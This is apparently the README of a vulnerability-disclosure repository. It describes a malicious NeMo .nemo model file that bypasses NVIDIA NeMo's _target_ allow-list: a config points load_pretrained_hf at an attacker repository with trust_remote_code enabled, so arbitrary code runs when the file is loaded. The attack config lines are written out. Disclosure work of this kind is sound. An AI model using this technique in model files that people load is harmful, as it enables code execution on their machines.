mscgo77/nemo-target-allowlist-bypass-poc

NeMo .nemo Model File — RCE Proof of Concept

This is a proof-of-concept model file for a huntr Model File Vulnerability (MFV) submission. Do NOT load this file with ModelPT.restore_from(). It is intentionally malicious.

What this is

malicious.nemo is a .nemo archive (tar of model_config.yaml + model_weights.ckpt) whose model_config.yaml sets:

_target_: nemo.collections.speechlm2.parts.pretrained.load_pretrained_hf
model_path_or_name: <attacker-controlled HuggingFace repo or local path>
pretrained_weights: true
trust_remote_code: true

This demonstrates that NVIDIA NeMo's _is_target_allowed() allow-list (nemo/core/classes/common.py), which is meant to block config-driven _target_ instantiation from executing arbitrary code, does not validate the type or behavior of allowed callables — only that their __module__ string starts with an approved namespace prefix. load_pretrained_hf is one such approved callable, and it forwards the config's trust_remote_code flag verbatim into transformers.AutoModelForCausalLM.from_pretrained(), which is a documented arbitrary-code-execution primitive.

Loading this file via ModelPT.restore_from('malicious.nemo') — the standard, public way to load any NeMo checkpoint — executes attacker-controlled Python code with no authentication or special privilege required, as long as model_path_or_name points somewhere the victim's transformers install can reach (an attacker-owned HF repo, in a real attack).

Reproduction

Full write-up, additional PoC scripts, and evidence: see the accompanying huntr Model File Vulnerability report.

python3 e2e_restore.py

Disclosure status

Reported to NVIDIA via huntr.com (MFV program). This repository exists solely as required PoC evidence for that report and will be made private or removed once the report is resolved.